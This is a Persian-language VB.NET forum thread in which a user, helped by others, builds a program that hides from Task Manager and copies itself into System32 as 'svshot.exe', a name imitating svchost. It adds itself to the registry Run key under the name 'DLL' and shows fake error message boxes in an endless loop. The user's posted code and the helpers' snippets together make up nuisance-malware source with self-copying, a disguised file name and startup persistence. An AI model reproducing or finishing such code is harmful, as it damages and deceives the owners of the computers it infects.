PDA

نسخه کامل مشاهده نسخه کامل : چند تا سوال در مورد vb.net



papa_toop
06-09-2007, 00:40
سلام بر همگی

من یه سری سوال دارم که برام پیش اومده

1-چطوری نرم افزار رو در Tasl Man مخفی کنم

2-چطوری صفحه نرم افزار همیشه روی بقیه نرم افزار ها باشه یعنی همیشه On Top باشه

3-چطوری یه Messagebox رو پشت سرهم مثلا 20 بار نشون بدم بدونه این که احتیاج به زدن دکمه OK باشه

4-چطوری آدرس جایی که خود نرم افزار در اون قرار داره رو پیدا کنم (مثلا شاید یکی توی درایو C,D,F و.... گذاشته باشه)

5-محل قرار گرفتن ویندوز کاربر رو چطوری پیدا کنم
مثال: (IO.File.Copy(" 1 ", " 2 ", True که به جای 1 آدرس خود نرم افزاره و 2 آدرس System32 کاربر

در ضمن اگر می شه کپی کردن خود EXE رو به System32 با مثال توضیح بدید

سوالام همین این ها بود
اگه جواب بدید ممنون می شم

ADRIEN
06-09-2007, 01:56
براي رو قرار دادن فرمت خاصيت topmost رو true كن
چند تا massagebox پشت سر هم از حلقه استفاده كن
برا پيدا كردن آدرس جايي كه نرم افزارت قرار داره از:
dim start as string=application.startpatch
استفاده كن
براي كپي كردن exe به system32 يا حالا هر جا ابتدا imports system.io رو به بالاي فرمت اضافه كن بعد:
File.Copy(Application.StartupPath & "\WindowsApplication1.exe", "d:\WindowsApplication1.exe")

كه كد بالا از مسير خودش فايل اجرايي رو يه درايو d كپي ميكنه حالا اگه خاستي به system32 كپي بشه بايد بنويسي:
File.Copy(Application.StartupPath & "\WindowsApplication1.exe", System.Environment.GetFolderPath(Environment.Speci alFolder.System) & "\WindowsApplication1.exe")

papa_toop
06-09-2007, 09:07
دوست عزیز دستت درد نکنه

فقط دوتا سوال برام پیش که اگه کسی بعدا اسمه نرم افزار رو از WindowsAppliction1 به هر چیز دیگه تغییر بده
نرم افزار ارور می ده برای رفع این مشکل باید گی کار کرد؟

دومیشم اینه که اگه ما نرم افزار رو دوبار اجرا کنم ارور می ده و می گه که قبلا این نرم افزار کپی شده و هست.حالا
اگه ما بخوایم که خود برنامه خود به خود جایگزین کنه باید چه کار کنیم.؟

-------------------------------------------------------------------------------------------------------------------

لطفا اگر کسی مخفی کردن برنامه رو توی Task Manager بلده بگه

_H2_
06-09-2007, 10:47
سلام
با اجازه دوستم آقای majeed76

1) در مورد MessageBox ها اگر منظورتان آن بود که 20 تا همزمان ظاهر شوند (نه اینکه 20 بار به ترتیب و یکی بعد از دیگری) نیاز به 20 ریسمان مختلف دارید، یا اینکه خودتان یک پنجره با یک Label و Button درست کنید و 20 بار نشان دهید.

2) اگر نام exe عوض شود، بذات مشکل ایجاد نمیکند.

3) با دستور System.IO.File.Exists میتوانید از وجود یا عدم وجود یک فایل مطلع شوید و کار مقتضی را انجام دهید.
امیدوارم در فکر رایانه آزاری و ویروس نویسی نباشید! :31:میازار رایانه ای که...

papa_toop
06-09-2007, 11:23
با عرض ارادت خدمت شما

می شه توضیح بدید که چطوری باید از حلقه برای این کار استفاده کنم؟

ADRIEN
06-09-2007, 12:03
بهتره از قسمت دوم كه h2 جان گفتن استفاده كني
يه پنجره با label و button

papa_toop
06-09-2007, 12:22
با سلام
با کمک شما تمام مشکل ها حل شد و فقط یه مشکل وجود داره.

به کد زیر نگاه بندازید:
Imports Microsoft.Win32
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If IO.File.Exists("C:\Windows\system32\svshot.exe") Then
Else
IO.File.Copy(Application.StartupPath & "Top.exe", System.Environment.GetFolderPath(Environment.Speci alFolder.System) & "\svshot.exe")
End If
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("DLL", "C:\Windows\system32\svshot.exe")
regKey.Close()
Dim re As RegistryKey
re = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
Me.Label1.Text = re.GetValue("DLL")
re.Close()
While Label1.Text = "C:\Windows\system32\svshot.exe"
MessageBox.Show("Hi Baby", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End While
End Sub
End Class

تو این کد می گه که فایل Top.exe رو به System32 کپی کن ولی اگر بعد از ساخته شدن کسی اسم برنامه رو به یه چیز دیگه تغییر بده برنامه ارور می ده .
من می خوام اگه اسم فایل تغییر کرد بازم توی System32 کپی بشه

anvar.net
06-09-2007, 13:50
نام برنامه رو اینجوری بگیر application.ProductName و بر اساس او چک کن application.ProductName & ".exe"



1-چطوری نرم افزار رو در Tasl Man مخفی کنم


فقط بخاطر خاطرات خوش درس ویروس شناسی دوره دانشگاه اینو میذارم وگرنه دل خوشی از ویروس ندارم

[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ] ([ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ])

papa_toop
06-09-2007, 15:19
اگه می شه با مثال توضیح بدید چون هر کاری کردم نشد

_H2_
08-09-2007, 10:44
سلام
در مورد کپی، اگر منظورتان کپی کردن همان فایلی است که الآن دارد کدش اجرا میشود، میتوانید از کد زیر استفاده کنید:

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

در مورد 20 پنجره هم اگر نام فرمتان frmMessage باشد، این کد:

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

papa_toop
11-09-2007, 22:02
ببخشید نبودم تا ببینم رفته بودم مسافرت

ازت ممنونم ولی کار نمی کنه

_H2_
12-09-2007, 10:17
سلام
کدام یک از کدهای من کار نمیکند؟ چه خطایی میدهد؟ ویندوزتان چیست؟ نوع پروژه تان ویندوز معمولی است دیگر؟

papa_toop
12-09-2007, 12:45
سلام

هر دوتا کار نمی کرد ، خطا نمی ده ولی کارهم نمی کنه ، Xp Sp2 ، آخرین سوال رو متوجه نشدم

موفق باشی

_H2_
12-09-2007, 15:01
سلام


هر دوتا کار نمی کرد ، خطا نمی ده ولی کارهم نمی کنه ، Xp Sp2 ، آخرین سوال رو متوجه نشدم
:16::39::blink::3::37:
خیلی میبخشید ولی حتماً یک جایی یک اشتباه تابلویی کرده اید.
من با وجودی که به کدهای خودم اعتماد دارم ولی باز همین الآن تست کردم و به خوبی هر دو جواب دادند.
پیشبینی میکنم به احتمال زیاد اصلاً کدها اجرا نمیشوند!
آنها را در کجا قرار داده اید؟ چگونه فراخوانی کرده اید؟

papa_toop
12-09-2007, 15:42
از تذکرت ممنونم شما درست گفتی من یه سوتی دادم البته در مورد کد اول ، کد دوم رو هر کاری کردم نشد

اگه می شه یه کم بیشتر توضیح بده باید چی کار کنم

_H2_
12-09-2007, 16:51
سلام


اگه می شه یه کم بیشتر توضیح بده باید چی کار کنم
والا بلا توضیح خاصی ندارد! کد دوم اگر از داخل یک exe اجرا شود، همان exe را System32 و با نام svshot.exe کپی میکند.
مگر اینکه
کد اصلاً اجرا نشود.
فایلی با نام svshot.exe داشته باشید که در حال استفاده باشد.
اکانتی که exe در ان اجرا میشود اجازه تغییر در System32 را نداشته باشد.
پروزه تان درست کامپایل نشده باشد.

حتماً مطمئن شوید کد اجرا خواهد شد و پروژه را با فرمان Build->Rebuild Solution کامپایل کنید و اصلاً بروید و یک راست exe اش را اجرا کنید، یا باید خطایی دهد یا باید کپی شود!؟!؟

منتظر نتیجه هستم.

papa_toop
12-09-2007, 17:07
دست شما درد نکنه مشکل کپی کردن حل شد

فقط می مونه نشون دادن MessageBox به تعداد 20 تا
اگر این کار نمی شه لااقل چطوری می شه هر MessageBox به فاصله 1 ثانیه خودش نمایش داده بشه

_H2_
13-09-2007, 09:37
سلام
در ان پست هم گفته بودم، شما باید یک فرم با نام frmMessage داشته باشید (که مثلاً شامل یک Label و یک Button) باشد.

شما اصلاً این فرم را دارید؟؟؟؟؟؟ یا مثلاً یک Form1 معمولی بسازید و در کد مورد نظر هم به جای frmMessage از Form1 استفاده کنید

سه خط دستور را عیناً استفاده کنید و چیزی اش را حذف نکنید، مخصوصاً Call را!
باید کار کند، هیچ دلیلی براتی کار نکردن ندارد.
در نام Class فرمهایتان بیشتر دقت کنید، انشا ا... حل میشود.
اگر نشد من خودم یک پروژه برایتان میگذارم که همین سه خط کد را داشته باشد و همین کار را انجام دهد!

papa_toop
13-09-2007, 13:48
سلام

درباره نشون دادن Form مشکل ندارم

می خوام که Messagebox 20 بار نشون داده بشه نه Form

مرسی

_H2_
13-09-2007, 17:06
سلام
خوب عزیز جان MessageBox هم یک Form دیگه!!!!
ساده ترین Form ممکن! یک Form که فقط یک Label داره با یک Button میشه MessageBox !!!!!!!!
الآن دیگه باید برم شنبه برایت یک Sample میگذارم.

_H2_
15-09-2007, 14:11
سلام
این هم نمونه کد.
با یک کلیک به راحتی 20 تا پیغام نشان میدهد و با یک کلیک دیگر به راحتی هر 20 تا را میبندد!!
دانلود سورس به همراه نمونه exe به حجم حدود 12 کیلوبایت (لینک از آخرین دانلود تا حدود 10 روز اعتبار دارد)

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

papa_toop
15-09-2007, 15:29
سلام

دستت درد نکنه. من حاضرم که قسم بخورم که منم دقیقا همین کار ها رو کردم ولی جواب نداد

به هر حال

من چند تا سوال دارم
1-اگه بخواهیم که به جای 20 از بی نهایت یا زمان خاموش شدن کامپیوتر استفاده کنیم باید چه کدی بنویسم

2-اگه بخوام در هنگام نمایش صفحه صدای ارور بیاد باید چه کار کنم

_H2_
17-09-2007, 09:44
سلام

من حاضرم که قسم بخورم که منم دقیقا همین کار ها رو کردم ولی جواب نداد
:31:بگذریم!




1-اگه بخواهیم که به جای 20 از بی نهایت ...


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنیدانشا ا... که جواب دهد!




زمان خاموش شدن کامپیوتر استفاده کنیم باید چه کدی بنویسم
راحتترین راه در دات نت که برای انجام کد در Shutdown که به ذهن من میرسد، کد نویسی خروج برنامه است، مثلاً کد نویسی برای رویداد Appilication.Exit ویا اگر برنامه تان فرم اصلی داشته باشد میتوانید رویداد Form.Closing را هم کد نویسی کنید.




2-اگه بخوام در هنگام نمایش صفحه صدای ارور بیاد باید چه کار کنمساده ترین و سریعترین دستور Beep است.